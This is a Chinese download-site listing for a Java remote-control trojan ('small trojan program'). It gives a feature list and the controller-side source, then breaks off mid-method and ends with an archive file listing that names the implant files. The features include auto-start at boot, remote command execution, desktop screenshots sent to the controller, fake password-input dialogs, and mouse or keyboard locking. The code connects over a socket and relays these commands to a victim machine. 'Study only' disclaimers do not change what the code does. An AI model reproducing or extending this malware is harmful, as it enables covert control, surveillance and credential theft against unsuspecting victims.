資源簡介
/*
* 本程序僅供學習參考使用。嚴禁使用本程序進行違法行為!
* 本程序功能
* 1、程序開機自動啟動(√)
* 2、自動發送郵件
* 3、執行dos命令,并將信息返回、這里可以執行關機等命令(√)
* 4、鎖定鼠標,這里通過一個線程實現
* 5、查看被控制端的桌面,將桌面畫面截圖并發送給控制端(√)
* 6、在被控制端彈出對話框,多種對話框模式(√)
* 7、讓被控制端閃屏(√)
* 本程序僅供學習參考使用。嚴禁使用本程序進行違法行為!
*/

代碼片段和文件信息
import?java.io.BufferedWriter;
import?java.io.DataInputStream;
import?java.io.DataOutputStream;
import?java.io.File;
import?java.io.FileNotFoundException;
import?java.io.FileOutputStream;
import?java.io.IOException;
import?java.io.OutputStreamWriter;
import?java.io.UnsupportedEncodingException;
import?java.net.Socket;
import?java.net.UnknownHostException;
import?java.text.SimpleDateFormat;
import?java.util.Date;
import?java.util.Scanner;
/*
?*?本程序僅供學習參考使用。嚴禁使用本程序進行違法行為!
?*?本程序功能
?*?1、程序開機自動啟動,并自動發送郵件(√)
?*?2、自動復制(只在本地)可以方便嵌入到其它java程序當中
?*?3、執行dos命令,并將信息返回、這里可以執行關機等命令(√)
?*?4、鎖定鼠標,這里通過一個線程實現
?*?5、查看被控制端的桌面,將桌面畫面截圖并發送給控制端(√)
?*?6、在被控制端彈出對話框多種對話框模式(√)
?*?7、讓被控制端閃屏(√)
?*?本程序僅供學習參考使用。嚴禁使用本程序進行違法行為!
?*?作者博客:http://blog.csdn.net/leasystu
?*/
public?class?ControlWin?{
Socket?socket;
DataOutputStream?dos;
DataInputStream?dis;
String?dosS;
Scanner?in;
String?reString;
int?picNum?=?1;
int?PORT?=?1220;
String?IP?=?“127.0.0.1“;
String?path?=?“D:\\pic“;
File?file;
BufferedWriter?bw;
String?fileName;
public?ControlWin()?{
in?=?new?Scanner(System.in);
System.out.print(“輸入IP:“);
IP?=?in.nextLine().trim();
try?{
socket?=?new?Socket(IP?PORT);
Date?date?=?new?Date();
SimpleDateFormat?sdf?=?new?SimpleDateFormat(“MM月dd日HH時mm分“);
fileName?=?sdf.format(date);
file?=?new?File(“D:\\pic\\“?+?fileName);
file.mkdirs();
file?=?new?File(“D:\\pic\\“?+?fileName?+?“\\log.txt“);
try?{
bw?=?new?BufferedWriter(new?OutputStreamWriter(
new?FileOutputStream(file)));
}?catch?(FileNotFoundException?e)?{
e.printStackTrace();
}
try?{
//?所有的記錄都會存在D:\\pic這個目錄下~
bw.write(“開始記錄“);
bw.newLine();
bw.flush();
}?catch?(IOException?e)?{
e.printStackTrace();
}
System.out.println(“contected“);
dos?=?new?DataOutputStream(socket.getOutputStream());
dis?=?new?DataInputStream(socket.getInputStream());
new?Thread(new?MyInputThread()).start();
go();
}?catch?(UnknownHostException?e)?{
e.printStackTrace();
return;
}?catch?(IOException?e)?{
e.printStackTrace();
return;
}
}
public?void?go()?{//開始發送命令
while?(true)?{
System.out.println(“intput?commend:“);
dosS?=?in.nextLine().trim();
if?(dosS.startsWith(“-d“)?&&?dosS.length()?==?2)?{
continue;
}?else?if?(dosS.equals(“exit“))?{
break;
}?else?if?(dosS.equals(““))?{
continue;
}?else?if?(dosS.endsWith(“-help“))?{
System.out
.println(“-doutmsg?msg?以對話框形式輸出信息\n“
+?“-dinmsg?msg彈出一個輸入對話框+顯示信息msg\n“
+?“-dinpass?msg?彈出一個輸入密碼對話框+顯示信息msg\n“
+?“-flash?msg?閃屏并顯示msg所表示的文字\n“?+?“-p:獲取圖片\n“
+?“-m?l鎖定鍵盤?.....-m?a取消鎖定\n“
+?“輸入其則執行相應的dos命令,如輸入ipconfig?則顯示相應的ip信息\n“
+?“exit:退出“);
continue;
}
try?{
dos.writeUTF(dosS);
}?catch?(IOException?e)?{
e.printStackTrace();
}
}
}
public?void?showMsg(String?msg)?{
if?(msg?==?null)?
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????目錄???????????0??2012-02-17?19:39??小木馬程序\
?????文件?????????348??2011-06-16?19:28??小木馬程序\.classpath
?????文件?????????391??2012-02-17?18:03??小木馬程序\.project
?????目錄???????????0??2012-02-17?19:39??小木馬程序\.settings\
?????文件?????????130??2012-02-17?18:04??小木馬程序\.settings\org.eclipse.core.resources.prefs
?????文件?????????629??2011-06-15?19:19??小木馬程序\.settings\org.eclipse.jdt.core.prefs
?????目錄???????????0??2012-02-17?19:39??小木馬程序\bin\
?????文件????????1200??2012-02-17?19:25??小木馬程序\bin\ControlWin$MyInputThread.class
?????文件????????5454??2012-02-17?19:25??小木馬程序\bin\ControlWin.class
?????文件????????1460??2012-02-17?19:16??小木馬程序\bin\Test$Flash$1.class
?????文件?????????992??2012-02-17?19:16??小木馬程序\bin\Test$Flash$2.class
?????文件????????1721??2012-02-17?19:16??小木馬程序\bin\Test$Flash.class
?????文件????????1706??2012-02-17?19:16??小木馬程序\bin\Test$JarUtil.class
?????文件????????1059??2012-02-17?19:16??小木馬程序\bin\Test$MouseLockThread.class
?????文件????????2004??2012-02-17?19:16??小木馬程序\bin\Test$MyCopy.class
?????文件????????1116??2012-02-17?19:16??小木馬程序\bin\Test$MyDialogMsgInput$1.class
?????文件????????1950??2012-02-17?19:16??小木馬程序\bin\Test$MyDialogMsgInput.class
?????文件????????1123??2012-02-17?19:16??小木馬程序\bin\Test$MyDialogPassInput$1.class
?????文件????????2005??2012-02-17?19:16??小木馬程序\bin\Test$MyDialogPassInput.class
?????文件?????????423??2012-02-17?19:16??小木馬程序\bin\Test$OtherApp.class
?????文件?????????653??2012-02-17?19:16??小木馬程序\bin\Test$ShowDialogThread.class
?????文件????????1933??2012-02-17?19:16??小木馬程序\bin\Test$SMail.class
?????文件????????8499??2012-02-17?19:16??小木馬程序\bin\Test.class
?????文件??????462098??2011-04-14?16:46??小木馬程序\mail.jar
?????目錄???????????0??2012-02-17?19:39??小木馬程序\src\
?????文件????????5449??2012-02-17?19:49??小木馬程序\src\ControlWin.java
?????文件???????16145??2012-02-17?19:16??小木馬程序\src\Test.java
評論
共有 條評論